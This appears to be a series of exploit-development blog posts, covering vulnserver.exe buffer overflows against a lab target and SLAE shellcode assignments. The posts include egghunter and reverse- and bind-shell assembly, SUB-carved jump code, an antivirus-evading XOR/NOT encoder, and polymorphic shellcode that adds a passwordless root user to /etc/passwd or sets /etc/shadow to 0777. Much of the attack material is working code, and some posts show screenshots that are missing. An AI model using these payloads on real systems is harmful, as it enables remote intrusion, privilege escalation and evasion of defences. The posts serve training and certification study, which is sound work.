This gives us about extra 32 bytes of address space….every byte counts!

We finish up the first 128 bytes by adding the first half of our zero_out_eax instructions and adding a jump short 10 bytes to go over the second EB 83 (I think we could have looped around too and just overwrite the first 16 bytes of our egghunter shellcode).

Our jump short brings us from address 0012FB2F to 0012FB3B and we successfully get over the second EB 83

Now we continue encoding the rest of our egghunter shellcode

#using hex/dword in windows calc
#0 - 745A053C = 8BA5 FAC4
#41214433 + 41214433 + 0963 725E = 8BA5 FAC4
#0 - 41214433 - 41214433 - 0963 725E = 745A053C

#using hex/dword in windows calc
#0 - 2ECD5802 = D132 A7FE
#657F3165 + 657F3165 + 06344534 =  D132 A7FE
#0 - 657F3165 - 657F3165 - 06344534 = 2ECD5802

Finally, we hit our last 4 bytes

That completes our egghunter shellcode…with literally 6 bytes left to spare with our address space

To test if our egghunter can find our egg, we add our egg "T00W" to the beginning of our Ds…and see if we can find it

...and we are successful. We found our Ds address space.

0x7 - Shellcode time!

I created a calc shellcode to see if we are able to pop a shellcode.

We go through our egghunter and add a breakpoint right before the jmp edi instruction and we can see that edi points to the beginning of our calc shellcode

Everything looks good, however, our shellcode just keeps on crashing the program and not spawn a calc.exe

After spending research, it looks like the ESP has to be realigned.

We align ESP with the address of EDX....then make it divisible by 4

AND, ESP FFFFFFF0             ----> make ESP divisible by 4

I update the shellcode to a reverse shell…pop the exploit one more time and we get a reverse shell

Final POC in my GitHub.

Thanks for reading!

Buffer Overflow w/ Restricted Characters

 Buffer Overflow Vulnerability w/ restricted characters

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (LTER)

Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:


For the LTER command, there are two ways to exploit the buffer overflow vulnerability, however, both exploits will have similar restricted characters

- Part 1: Vanilla Buffer Overflow w/ Restricted Characters
- Part 2: SEH base Buffer Overflow w/ Restricted here for  Part 2

Let's get started...


Similar to the GMON write-up, I used boofuzz to do the initial fuzzing.

...and after crashing the program, we recreate the crash using the follow Proof-of-Concept

We get a pretty vanilla buffer overflow where the EIP has been overwritten with 41s

Also note that ESP currently points to our buffer. This is key once we figure out an address to redirect our EIP

Now we will need to determine our offset and see exactly which part of our buffer overwrites the EIP register.

As usual, this is accomplished using Metasploit's patter_create.rb to generate 3000 unique characters.

Update our POC with our unique characters, send the exploit, and examine the crash in immunity debugger.

Here we can see that EIP has been overwritten with the following values: 386F4337

Metasploit's pattern_offset.rb can be used to determine the offset with this value.

Once we determine the offset, we update our POC again

We send the POC one more time and examine the crash...if our offset is correct, EIP should be overwritten with x42s

In this case, we can see 42424242 were successfully loaded into the EIP register

Finding bad characters

Now that we are able to redirect our EIP...we will need to find an address to redirect the EIP. Since we know that ESP register points to our buffer, we will be looking for a JMP ESP address.

However, before we choose an address, we will need to verify if there are any bad characters.

We update the POC with the following 256 unique hex characters

After running a few test, it's verified that anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:


Now we will need a call esp or jmp esp address…this will ultimately call our 'Cs' where our reverse shell will be loaded while Kkeeping in mind the restricted characters.

We find the following address using in immunity debugger

FF E4 = jmp esp
Address: 62501203

We can verify this address is a JMP ESP by searching it

At this point, we can updated our EIP to redirect to this JMP ESP  address

As we follow the crash in immunity, we can see that EIP has been successfully overwritten with our JMP ESP address

...once we take the JMP ESP, we are redirected to the top of our Cs

Reverse shell time!

We will need to create our revere shell to encode it with x86/alpha_mixed in order to avoid the restricted characters

We update our POC one last time

Again we follow the jmp esp and we hit the beginning of our reverse shell. We let the code execution continue and successfully get a reverse shell in our Kali listener.

Final Proof-of-Concept

SEH Based Buffer Overflow with Restricted Characters

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability w/ Restricted Characters

Kali Linux
Windows Vista 
Vulnerable application: vulnserver.exe (LTER)

Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:




Fuzzing with boofuzz

We open the boofuzz result using SQLite browser

Recreating the crash with our Proof-of-concept

As usual, we examine the crash using Immunity Debugger and see that our SEH handler address has been overwritten with our buffer

Calculating Offset

We use Metasploit's pattern_create.rb and pattern_offset.rb to generate unique characters and calculate the offset.

Updated POC

The following values overwrite the SEH handler

...which then equates to the following offset positions.

Once again, we update the Proof-of-Concept with the following offset calculations and verify if we can see these values after the crash

Finding restricted characters

After running a few test, it looks like anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:


At this point we have successfully done the following:

1. Successfully produced a crash to the program with the buffer we provided
2. Calculated the offset values for address redirection
3. Found all the restricted characters

POP-POP-RET...the key to SEH Based Buffer Overflow Vulnerabilities

I will be using the same POP-POP-RET address from the Vulnserver.exe (GMON) write-up

Updated the POC with the following values...I also added some nopes for the other 4 bytes

We cannot forget about the restricted characters (hex 80 to FF)

We get a crash, however, we can see that our POP-POP-RET address has been changed to 625010B4 to 62501035 where the last byte has been changed (B4 - 7F = 35)

Also note, that our 90s have been changed to 11 (90 - 7F = 11)...we will worry about this part later

We found another POP-POP-RET address

Again, we update the POC with this new POP-POP-RET address

We fire up the POC and set a breakpoint in immunity. As we check the SEH chain plugin, we can confirm that we were able to redirect the SEH handler to the address 6250120B

We allow the execution and hit our breakpoint

We step through the POP POP RET instructions, and we hit our first entry (x90s) or in this case, x11s (90 - 7F)

First Jump 

After we are redirected to the pop-pop-ret address we are then sent to the 4 bytes right before it. We will have to use these 4 bytes to get our first jump

For the first jmp we will use the jnz conditional jump and fill the extra bytes with inc eax. With GMON we used EB 09 or jmp 9bytes, however, EB is unusable since it is one of the restricted characters.

At this time, eax is currently 0x00000000 so I used the inc eax (41) to disable the ZF. Then do the jump-if-not-zero (jnz) instruction

This jumps pass our SEH handler address…also, note that if we follow it in the dump that we can see we only have 48 bytes of address space…not enough for a reverse/bind shell.

Second jump

Now we have 48 bytes that we can use to do our second jump while keeping in mind the restricted characters
 To circumvent the restricted characters, we will be 'carving' our shellcode with SUB instructions

More info about shellcode carving can be found here:

First, we will need to realign our stack so that we will know where our decoded jump will show up. In this case, we want our decoded jump opcodes just below our first jump at the following address:

Before we carve it out, we have to realign ESP to address 00E9FFF8 which can be done with the following instructions:

push esp
pop eax               ;move the value of esp to eax
add ax, 0d75      ;add 3445 to eax
add ax, 0465      ;add 1125 to eax
push eax             ;push new eax value to the stack
pop esp              ;move the value of eax to esp

Note that after we do this, we will need to zero out eax for shellcode carving to work

There are multiple ways to zero out eax (i.e. xor eax, eax), however, this will not work due to restricted characters

We will use the AND operator using the following values

AND 554E4D4A = ‭101 0101 0100 1110 0100 1101 0100 1010‬
AND 2A313235 = ‭010 1010 0011 0001 0011 0010 0011 0101‬
                             =000 0000 0000 0000 0000 0000 0000 0000

For our second jump, we will be using a reverse short jump: EB 80 

In order to carve out EB 80 we use the following values:

\xeb\x80\x90\x90 = 6464 7F15
0 - 909080EB = 6F6F7F15
 32103355 + 32103355 + 0B4F 186B = 6F6F7F15
0 - 3210 3355 - 3210 3355 - 0B4F 186b = 909080EB

We will do SUB operations with these values then push the result to the stack

After everything is said and done, our second jump will look like this

We execute our updated POC and trace code execution in immunity debugger

Here we can see that our second jump instructions starts at address 00EFFFD1 and then the EB 80 instructions are carved at address 00EFFFFA

Once we take the jmp short 80h, we get another 72-byte address space that we can work with. This can be seen in our hex dump at address 00EFFF7C

Third Jump

After the second jump, the address space is still not big enough for reverse or bind shell...which means we will need to do another jump.

As usual, we will need to realign ESP to set where are decoded instructions will be saved. In this case, ESP currently points at address 00FAFFFD and we would like to point it to 0FAFFAE.

After we store the value of ESP to EAX we execute the following SUB instruction


We then pop this address back to ESP

After we run the following instructions, we can see that ESP points to address 00FAFFAE…this is where our decoded jump instructions will be stored

For the third jump, we will be using the following instructions:

\x81\xec\x48\x0d\x00\x00 (SUB ESP, 0DA0)
\xff\xe4                                   (JMP ESP)
00FAFFAE - 0DA0 = 00FAF20E

00FAF20E is the address that is just below the beginning of our buffer....this will give us about 3400+ bytes worth of address space for our final shellcode

We will be carving 4 bytes at a time beginning at the lowest 4 bytes (since this will be pushed into the stack in LIFO manner)

As usual, we zero out EAX first then carve the instructions using SUB instructions before EAX gets pushed into the stack

Here we can see our 4 bytes getting decoded at address 00D0FFBF

...we carve out the next 4 bytes

...and follow the instructions being decoded

This completes our third as we can we have success decoded our next jump instructions @ address 00D0FFBB:



We continue code execution to get to our SUB ESP and JMP ESP

Here we can see that after the SUB instruction, our ESP point 00D0F273

We take the JMP ESP and we are provided with 3000+ bytes of address space for our final shellcode

Final Shellcode 

At this point, we can use MSF to create a reverse shell encoded with alpha_mixed.

Also, note that we need to add BufferRegister=ESP to get rid of some restricted characters at the beginning of the shellcode. 

More info about BufferRegister flag can be found here:

SEH Based Buffer Overflow

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (GMON)

Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:


Once the application has been downloaded, we run it on our Vista Machine and start fuzzing.


For fuzzing, I will be using boofuzz, and documentation can be found here:

First off, we connect to the application to test its functionality--specifically, we will  be testing the GMON command as shown below

Here is the boofuzz template/proof-of-concept that I used for fuzzing:

We fire up this python fuzzer and get a crash. 

With boofuzz, it generates a fuzzing result that can be further accessed using a DB application. For this, I am using a sqlitebrowser that provides a nice SQLite GUI.

We can see in this result (line 24) that our fuzzer sent 5013 bytes before the crash occurred


Here's the original proof-of-concept that I will be using throughout the exploit development 

We will begin by recreating the crash using this POC

We fire up this POC and examine the crash in Windows Vista using Immunity Debugger. 

We successfully get a crash with our buffer of 41s. 

Since this will be an SEH based buffer overflow, we look at the crash in SEH chain which shows that SEH handler address being overwritten with our 41s

After being able to successfully overwrite the SEH handler, we then need to figure out the correct offset. This can be done by feeding our POC with unique characters of 5100 bytes long. 

We will be using Metasploit's pattern_create.rb as shown below.

We then update our POC with the following unique chars and again fire up our exploit.

The POC successfully crashes the vulnserver.exe program again and follow the crash in immunity.

Here we can see that SEH has been overwritten with the following values:
326E4531 & 45336E45

We can use these two values to calculate the offset using Metasploit's pattern_offset.rb

Note: Immunity Debugger's can also be used to create the pattern_create and pattern_offset

We get the following offset:

SEH: 3519
nSEH: 3515

We can use these offset values to update the POC one more time and recalculate our buffer

Again, we fire up the updated POC and examine the crash in immunity.

We can see that nSEH has been overwritten with x42s and the SEH has been overwritten with x43s

Redirecting the SEH Handler

At this point, we have successfully accomplished the following:

1. Fuzzed the vulnerable application given a long string of buffer 
2. We have calculated the offset for the SEH Handler

One common way (or only way?) to exploit a buffer overflow vulnerability is using the POP-POP-RET 

This is possible because when an application crashes and the SEH happens, our malicious buffer is loaded into the stack and the crash makes this buffer accessible using the POP-POP-RET sequence of instructions.

More information about POP-POP-RET can be found in this blog:

Bottom right of the immunity debugger crash below shows the current state of the stack after the crash
Our buffer is loaded at address 00FDF1F0 (note that addresses 00FDF1E8 and 00FDF1FC will need to be pop from the stack)

POP - 00FDF1E8
RET - 00FDF1F0 (returns our buffer)

Bad characters are no bueno

Before we look for a POP-POP-RET address and redirect our SEH Handler to it, we need to discover bad characters that will truncate or mangle our exploit.

Searching for bad characters can be accomplished by feeding 255 unique hex characters and follow code execution in immunity debugger to see it certain hex characters truncate or mangle our buffer

Again, execute our POC and trace code execution in immunity debugger. 

Looking at the hex dump (bottom left), we can see the application took all 255 hex characters (0x01 to 0xff) which means that other than  0x00, all hex characters can be used.

Now we are ready to find any POP-POP-RET address. This can be done using the plugin in immunity debugger (I couldn't get it to work) or you can just do it manually by opening up the essfunc.dll and searching for these sets of instructions.

I found the POP-POP-RET at address 625010B4

Once again, we update our POC with the SEH Handler redirect address. We examine the crash by adding a breakpoint at address 625010B4 and see if we can hit the breakpoint for a successful redirection.

Note that the address has to be in little-endian format. Also, we added a first jump (EB 06) and 2 NOPs.

We get a another crash, examine the SEH chain which shows our POP-POP-RET address and if we allow the exception to happen, we are successfully redirected to address 625010B4

We step through the POP-POP-RET codes and we then hit our first jump (EB 06).

...once we take the jmp and hit the address 00EFFF7D. This gives us roughly about 70 bytes of address space. This space is not enough to get a reverse or bind shellcode however, we can utilize this space to further jump.

For our second jump, I am using the following instructions which were straight from the OSCE course. 

These instructions basically moves the address of EIP to ECX then 8 bytes of ECX gets decreased before the jump is taken.

These instructions can be created to a nasm file then objdump can be used to generate the opcodes. 

Below shows these instructions and their respective opcodes

Note that at this point, ecx points to address 00EFFD87. We step through the instructions, take the jump and follow the new EIP 00EFFD87 in dump which gives us a bigger address space…512 bytes to be exact
00EFFF8B - 00EFFFD87= 512 in decimal

We update our POC once again with these jump instructions and now we are afforded an address space big enough for our shellcode.


We create a reverse shell.

We update our POC buffer one last time

We execute our POC again and follow code execution in our debugger

And after taking our second jump, we hit our NOPs and if we follow the eip in dump, we can see that our encoded shellcode is just right below it.

If we continue code execution, we hit our shellcode and get a reverse shell in kali

Final POC


  1. Fuzzed the vulnerable application given a long string of buffer 
  2. We have calculated the offset for the SEH Handler
  3. Determine if there are any bad characters
  4. Found a POP-POP-RET address to access our buffer
  5. Use the 4 bytes @ offset 3515 to do our first jump for a 70-byte address space
  6. Use the 70 bytes address space for the second jump which gave us 512 bytes of address space
  7. Add shellcode

Shellcode Polymorphism

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517

SLAE Assignment #6 - Polymorphic
     - Create a polymorphic version of 3 shellcodes from Shell-Storm
     - The polymorphic versions cannot be larger than 150% of the existing shellcode
     - Bonus: points for making it shorter in length than original


0x1 - add root user (r00t) with no password to /etc/passwd

Original shellcode, assembled using ndisasm

For this, we can focus on lines 6, B, 15 and 25, 2A, 2F. The following instructions correspond to the two syscalls: open() and write (). The open() opens /etc//passwd and write() writes r00t::0:0::: I was able to change the values by running add and sub operations. I could have changed r00t::0:0::: as well using XOR operations or getting rid of the push (replaced with mov)  instructions, however, I would have exceeded the 150% of shellcode size limit.

0x2 - chmod (etc/shadow, 0777)

Here's the original shellcode with the size of 29 bytes disassembled using ndisasm. Similar to 0x1, lines 3, 8, and D show the file name /etc//shadow which means this will be the focus with the polymorphism process. Line 14 shows the permission 0777 which could also be polymorphed using some add or sub instructions but I didn't do it base on the %150 shellcode size requirement.

For the polymorphism, I used a combination of similar technique from 0x1 plus a JMP-CALL-POP technique. I subtracted 0x11111111 from each dword and then dynamically loaded the new values to the stack. After they are popped, I added 0x11111111 to recover the original value before they pushed back into the stack again. The size of the new shellcode is 44 bytes.

0x3 -iptables -F

The following instructions results: /sbin/iptables -F which then get executed using execve()

I used the JMP-CALL-POP method to change it up. Basically the /sbin/iptables -F hex codes from above are replaced. The new shellcode size is 58 bytes.

Thank you for reading.

Shellcode Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517

SLAE Assignment #5 - Analysis of Linux/x86 msfpayload shellcodes

          - Use GDB/ndisasm/libemu to dissect the functionality of the shellcode


For this assignment, I will be using the first three Linux/x86 payloads generated by msfvenom (formerly msfpayload)

0x1 - linux/x86/adduser

A quick ndisasm gives us the following:

msfvenom -p linux/x86/adduser -f raw | ndisasm-u -

The first obvious ones are the 4-dwords:

           push dword 0x64777373
           push dword 0x61702f2f
           push dword 0x6374652f

The following dwords (in little-endian) are the hex representation of /etc//passwd as shown below:

However, it is still unclear as to what is being done to the /etc//passwd file. I think this is where we can use gdb to see what system calls are being invoked.

I generated the shellcode from msfvenom, loaded it in shellcode.c, compiled and loaded in gdb.

Once loaded in gdb...we first set a breakpoint for shellcode: break *&code 

We can see again the /etc//passwd in lines +15, +20, +25. We can also see several int 0x80 (lines +7, +35, +86, +91) for the system calls. We can add breakpoints on these lines to see what system calls are loaded into eax. 

Note: Here is a list of all the system calls with their corresponding call numbers found in /usr/include/i86-linux-gnu/asm/unistd_32.h

Syscall #1:  eax has 46 or setgid() loaded to it.

setgid() call is pretty straight forward. This call sets a user's group id. In this case, the group id is set to 0 as seen in the first two lines. The function calls only require one argument, in this case 0 is loaded into ebx (mov ebx, ecx) as the argument. 

                                                  [email protected]:~/SLAE# id
uid=0(root) gid=0(root) groups=0(root)

Syscall #2: eax has 5 or open() loaded to it.

open() here opens /etc/passwd file for the pathname and sets the flags to O_RDWR (Read/Write). This step will require root access hence why setgid()  was called first and set the user's group id to 0.

                             push   0x64777373
                             push   0x61702f2f
                             push   0x6374652f

Syscall #3: eax has 4 or write() loaded to it.

write() has 3 arguments (fd, *buf, count). count writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.

The following is what gets written in to /etc/passwd file.
PASS=password (in this case it is hashed)

syscall #4: eax has 1 or exit() loaded to it....enough said.

0x2 - linux/x86/chmod

We again generate a shellcode with the following options:


Compile and we load the file in gdb.

We put a breakpoint at the system  call @ +37 (0x804a065)

Syscall: eax has 15 or chmod() loaded to it.

chmod() requires two arguments: pathname and mode

pathname: /home/slae/test.txt (ebx)

mode: 0777 (ecx) 

Here we can see 0x1ff (0777) pushed to the stack and popped into ecx

0x3 - linux/x86/exec

We generate a shellcode with the following option:


Compile and load it in gdb

We put a breakpoint at the system call @ +42 (0x0804a06a)

syscall: eax has 11 or execve() loaded to it.

Here we see the first part of the string for the command /bin/sh -c loaded into ebx.

The next string should be ifconfig, however, I couldn't find it using gdb. I ended up using ndisasm for this next step.

Call dword 0x26 is what we are looking for. Looking at 1D to 24, we can see that these are the opcodes for ifconfig. 

Furthermore, plugging the next opcodes (26 through 29) shows how the entire command string (/bin/sh -c ifconfig) is pushed into the stack (esp), and loaded into ecx

Thank you for reading.

Shellcode Encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517

SLAE Assignment #4 - Encoder
 - Create a custom encoding scheme


For this assignment,  we will be encoding an execve shellcode that spawns a /bins/sh using XOR and then NOT encoding The idea behind encoding is that we can alter opcodes without altering its functionality. For instance, using the shellcode below, it is pretty clear that our shellcode contains \x2f\x2f\x73\x68\x2f\x62\x69\x6e which translates to //bin/sh. Among other things, this is something that could be easily caught by Anti-virus (AV) or Intrusion  Detection System (IDS).

Below is the original execve-stack.nasm file and its corresponding opcodes/shellcode.

Once we get the original shellcode...I used python for encoding which will be a two-step process: XOR encoding first, then NOT encoding the result of the first step.

Here we initialize it with our original shellcode from execve-stack.nasm file:

The first step is the  XOR encoding. For this step, I am going through each byte of the original shellcode and XOR'ng it with 0xaa.

The second step is to encode each byte of the result from XOR encoding, with a NOT encoding.

Below is the output of the encoder python script. I am printing both XOR and NOT encoded shellcodes however, we will only need the NOT encoded shellcode for our decoder.

With the 'XOR then NOT' encoded shellcode, we are now ready to create our decoder to revert or decode it back to the original shellcode.

For this step, I am using the jmp-pop-call method again. We load the encoded shellcode into the stack by using the call instruction. We then pop it and load it into a register (esi for this one). We can then loop through each byte of the encoded shellcode loaded in esi. 

We first do a NOT then followed by XOR 0xaa.

Below shows the encoding and decoding scheme for the first byte

encoding: 0x31---> 0x9b (0x31 XOR 0xaa) -----> 0x64 (NOT 0x9b & 0xff)
decoding: 0x64---> 09xb (NOT 0x64 & 0xff) ---> 0x31 (0x9b XOR 0xaa)

...and here's the complete nasm file with our decoder.

We compile then generate a new shellcode using objdump.

We update our shellcode.c file, compile it and execute.

Note that with this the new shellcode, it shows that we can 'hide' the //bin/sh while maintaining the functionality.


Egg Hunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517

SLAE Assignment #3 - Egghunter

          - Create a working demo of the egg hunter


For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.

What is an egg_hunter? Why do we need it?

An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.

This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).

Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:

       %define _EGG                    0x50905090

       xor ebx, ebx                         ;remove x00/NULL byte
       mov ebx  _EGG                   ;move 0x50905090 egg into ebx register
       xor ecx, ecx                         ;remove x00/NULL byte  
       mul ecx                                ;intializes eax, ecx, edx with x000000000 value

We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().

We will be using the *pathname pointer argument to validate the address that will contain our egg.

 I globally defined two more variables: the access() syscall and EFAULT

      %define _SYSCALL_ERR       ;0xf2
      %define __NR_access              ;0x21

...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS

The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction


      or dx, 0xfff                                 ;note that edx is the pointed *pathname
                                                         ;0xffff == 4095

The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.


        inc edx                               ;increments edx, checks next address if it contains the egg
        pusha                                 ;push eax, ebx, ecx, edx....these registers are used multiple 
                                                   ;pushing them to the stack to preserve values when popped
        lea ebx, [edx +4]
        xor eax, eax                      ;remove x00/NULL byte
        mov al, __NR_access       ;syscall 33 for access(2)
        int 0x80                            ;interrupt/execute

        ;egg hunting begins

        cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
        popa                                 ;branch, pop eax, ebx, ecx, edx
        jz NEXT_PAGEFILE     ;al return value == EFAULT value, invalid address memory
                                                 ;move to the next PAGESIZE

        cmp [edx], ebx                 ;if al retun value != EFAULT value, execute this instruction
                                                 ;compares the egg with edx value
        jnz NEXT_ADDRESS    ;not EFAULT but _EGG not found, loop again

        cmp[edx +4], ebx             ;_EGG found, test for the next 4 byte of the _EGG
       jnz NEXT_ADDRESS     ;if next 4 bytes of edx value !=_EGG, loop again

       jmp edx                             ;finally, 8 bytes of _EGG found, jmp to address of edx     

We compile our nasm file and obtain our shellcode using objdump.

We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.

I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.

For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.


Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517

SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode

      - Reverse connects to configured IP and Port
      - Execs shell on successful connection
      - IP and Port should be easily configurable


Creating a REVERSE_TCP shell consist of 3 functions

0x1 socket
0x2 connect
0x3 execve

0x1 - socket

Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

                push 0x6                ;TCP or 0x6
               push 0x1               ;SOCK_STREAM or 0x1
              push 0x2               ;AF_INET or 0x2

We can then invoke the socketcall() system call, as shown below:

               xor eax, eax            ;remove x00/NULL byte
               mov al, 0x66            ;syscall 102 for socketcall
               xor ebx, ebx            ;remove x00/NULL byte
               mov bl, 0x1             ;net.h SYS_SOCKET 1 (0x1)
               xor ecx, ecx            ;remove x00/NULL byte
              mov ecx, esp            ;arg to SYS_SOCKET
              int 0x80                ;interrupt/execute

              mov edi, eax            ;sockfd, store return value of eax into edi

0x2 - connect

Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.

Below shows what we need for the connect():

One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes ( and then a push word[esi +4] which pushes the last two bytes (4445).

We then call the socketcall() and SYS_CONNECT.


        jmp short reverse_ip_port


        ;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$

        pop esi                            ;pops port+IP (total of 6 bytes), ESP addr to e$
        xor eax, eax                    ;removes x00/NULL byte
        xor ecx, ecx                     ;removes x00/NULL byte
        push dword[esi]              ;push IP (first 4 bytes of esi)
        push word[esi +4]           ;push PORT (last 2 bytes of esi)
        mov al, 0x2                      ;AF_INET IPV4
        push ax
        mov eax, esp                    ;store stack address into edc (struct sockaddr)
        push 0x10                        ;store length addr on stack
        push eax                          ;push struct sockaddr to the stack
        push edi                           ;sockfd from th eax _start
        xor eax, eax                     ;removes x00/NULL byte
        mov al, 0x66                    ;syscall 102 for socketcall
        xor ebx, ebx                     ;removes x00/NULL byte
        mov bl, 0x03                    ;net.h SYS_CONNECT 3
        mov ecx, esp                    ;arg for SYS_CONNECT
        int 0x80


        call connect

        reverse_ip dd 0x82c7a8c0       ;, hex in little endian
        reverse_port dw 0x5d11          ;port 4445, hex in little endian

0x3 - execve

Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.


        ;multiple dup2() to ensure that stdin, stdout, std error will
        ;go through the socket connection

        xor ecx, ecx            ;removes 0x00/NULL byte, 0 (std in)
        xor eax, eax            ;removes 0x00/NULL byte
        xor ebx, ebx            ;removes 0x00/NULL byte
        mov ebx, edi            ;sockfd from the eax _start
        mov al, 0x3f            ;syscall 63 for dup2
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to cx, 1 (std out)
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to ecx, 2 (std error)
        int 0x80                ;interrupt/execute

Shell time! Shells for everyone!

This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.

         xor eax, eax             ;removes x00/NULL byte
         push eax                   ;push first null dword

         push 0x68732f2f      ;hs//
         push 0x6e69622f      ;nib/

         mov ebx, esp             ;save stack pointer in ebx

         push eax                    ;push null byte terminator
         mov edx, esp             ;moves address of 0x00hs//nib/ into edx

         push ebx                    
         mov ecx, esp          

         mov al, 0xb                ;syscall 11 for execve
         int 0x80

Testing our reverse shell

First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.

Execute the file and we get a reverse TCP connection back to our kali

SUCCESS...our reverse shell works.

We then use objdump to get our actual shellcode...

Copy the shellcode into our c file, test reverse shell again and we get another successful reverse shell to the kali listener.

SLAE Certification

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517


I started my offsec journey back in Feb 2007 when I registered for Offensive Security Certified Professional (OSCP) and completed the certification in June of that same year. Almost 3 years later, I finally decided to start on Offensive Security Certified Expert (OSCE) and one of the baseline requirements for this certification is a familiarity with Linux assembly language. Several OSCE preparation/exam reviews pointed to Security Tubes Linux Assembly (SLAE-32 bit) course as a good course to prepare for OSCE. The course is provided at an affordable price of $130 and the certification is really unique. After completing the course, students are required to complete seven assignments (listed below) to obtain the certification.

SLAE Assignment #1 - Bind TCP Shell
SLAE Assignment #2 - Reverse TCP Shell
SLAE Assignment #3 - Egg Hunter
SLAE Assignment #4 - Encoder
SLAE Assignment #5 - Shellcode Analysis
SLAE Assignment #6 - Polymorphism
SLAE Assignment #7 - Crypter 

Shout out to Vivek for doing an amazing job teaching the course. It was a perfect blend of the crawl, walk, run--from learning the basics of assembly registers to operations/conditions/controls/loops, creating shellcodes, and finally creating encoders/polymorphism/crypters. 

Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517


SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode

    - Binds to a port
    - Execs Shell on incoming connection
    - Port number should be easily configurable


Creating a BIND_TCP shell can be broken down into 4 functions.

0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve

... let us begin

0x1 - socket

First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.

domain = AF_INET or 0x2

type = SOCK_STREAM or 0x1

protocol = TCP or 0x6

We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

               push 0x6
               push 0x1
               push 0x2

Once the socket has been created, we then invoke the socketcall() syscall

             xor eax, eax              ;remove x00/NULL byte
             mov al, 0x66             ;syscall 102 (x66) for socketcall
             xor ebx, ebx             ;remove x00/NULL byte
             mov bl, 0x1              ;net.h SYS_SOCKET 1 (0x1)
             xor ecx, ecx             ;remove x00/NULL byte
            mov ecx, esp             ;arg 2, esp address to ecx
            int 0x80                    ;interrupt/excute

            mov edi, eax             ;sockfd, this will be referenced throughout the 

0x2 -bind

One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.

                jmp short port_to_blind        

               pop esi                  ; pops ESP addr
              xor eax, eax          ;remove x00/NULL byte
              push eax               ;push eax NULL value to the stack
              push word[esi]     ;push actual port number to the stac, word=2 bytes
              mov al, 0x2          ;AF_INET IPv4
              push ax
              mov edx, esp        ;store stack addr (struct sockaddr)
              push 0x10            ;store length addr on stack
              push edx              ;push strct sockaddr to the stack
              push edi               ;sockfd from the eax _start
